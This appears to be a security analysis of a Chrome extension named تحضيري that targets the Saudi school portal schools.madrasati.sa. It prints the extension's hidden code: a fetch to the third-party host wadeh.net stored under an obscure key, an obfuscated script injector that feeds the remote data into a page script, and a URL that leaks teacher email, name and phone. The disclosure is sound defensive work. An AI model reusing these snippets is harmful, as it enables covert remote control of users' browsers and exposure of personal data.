تحضيري

At the top of the bundled jQuery file (running on every page under schools.madrasati.sa at document_start) the extension silently fetches data from an unrelated third-party domain wadeh.net (not the extension's own tahdiri.com backend) and persists the JSON response in chrome.storage.local under an obscure key 'qqw'. The call is inserted inline into what is otherwise a stock jQuery 3.6.1 library and uses bracket-notation property access throughout the file (e.g., chrome['storage']['local']) to blend with surrounding obfuscated code, making the exfiltration/C2 channel harder to spot during review.

fetch('https://wadeh.net/ta1.php')['then'](cF => {  return cF['json']();})['then'](cF => {  chrome['storage']['local']['set']({    'qqw': JSON['stringify'](cF)  })['then'](() => {});});

The data fetched from wadeh.net is read back from chrome.storage.local and concatenated unescaped into the src URL of a dynamically created <script> element pointing at the extension-bundled myscript2.js. The injected script reads the query string ('?a=' + remote payload) at runtime, giving the operator of wadeh.net a server-controlled channel to influence in-page behavior on the Saudi Ministry of Education school portal (schools.madrasati.sa). Combined with the document_start injection point, this is a remotely steerable code path that bypasses normal extension review.

function injectCode(a) {  var b = document['createElement']('script');  b['src'] = a, b['onload'] = function() {    this['remove']();  }, nullthrows(document['head'] || document['documentElement'])['appendChild'](b);}chrome['storage']['local']['get'](['qqw'])['then'](a => {      a['qqw'] == undefined ? injectCode(chrome['runtime']['getURL']('/myscript2.js?a=[\x22\x22]')) : injectCode(chrome[        'runtime']['getURL']('/myscript2.js?a=' + a['qqw']));

The contentScript2.js (4219 lines, injected on every schools.madrasati.sa page) is a copy of jQuery + base64 helpers heavily transformed with bracket-notation property access, hex numeric literals (0x0, 0x1), and \x20-escaped strings throughout. That style is consistent with running stock libraries through a string-array/property-renaming obfuscator, and here it has the effect of camouflaging the wadeh.net fetch and the dynamic <script> injector at lines 58 and 4211–4219 inside ~4200 lines of unrelated library code.

! function(a, b) {  'use strict';  'object' == typeof module && 'object' == typeof module['exports'] ? module['exports'] = a['document'] ? b(a, !0x0) :    function(c) {      if (!c['document'])        throw new Error('jQuery\x20requires\x20a\x20window\x20with\x20a\x20document');      return b(c);    } : b(a);}('undefined' != typeof window ? window : this, function(a0, a1) {

Teacher PII (email, full name, phone number) read from localStorage is concatenated directly into a URL path and used to navigate the user to tahdiri.com. Even though tahdiri.com is the extension's own backend (matching the extension's Arabic name تحضيري), placing identifying data in URL path segments leaks it into browser history, HTTP access logs, Referer headers, and any upstream proxy/CDN logs — a poor practice for handling personal data.

`https://tahdiri.com/addpackage/${localStorage.getItem("email")}/${localStorage.getItem("name")}/${localStorage.getItem("phone_teacher")}`)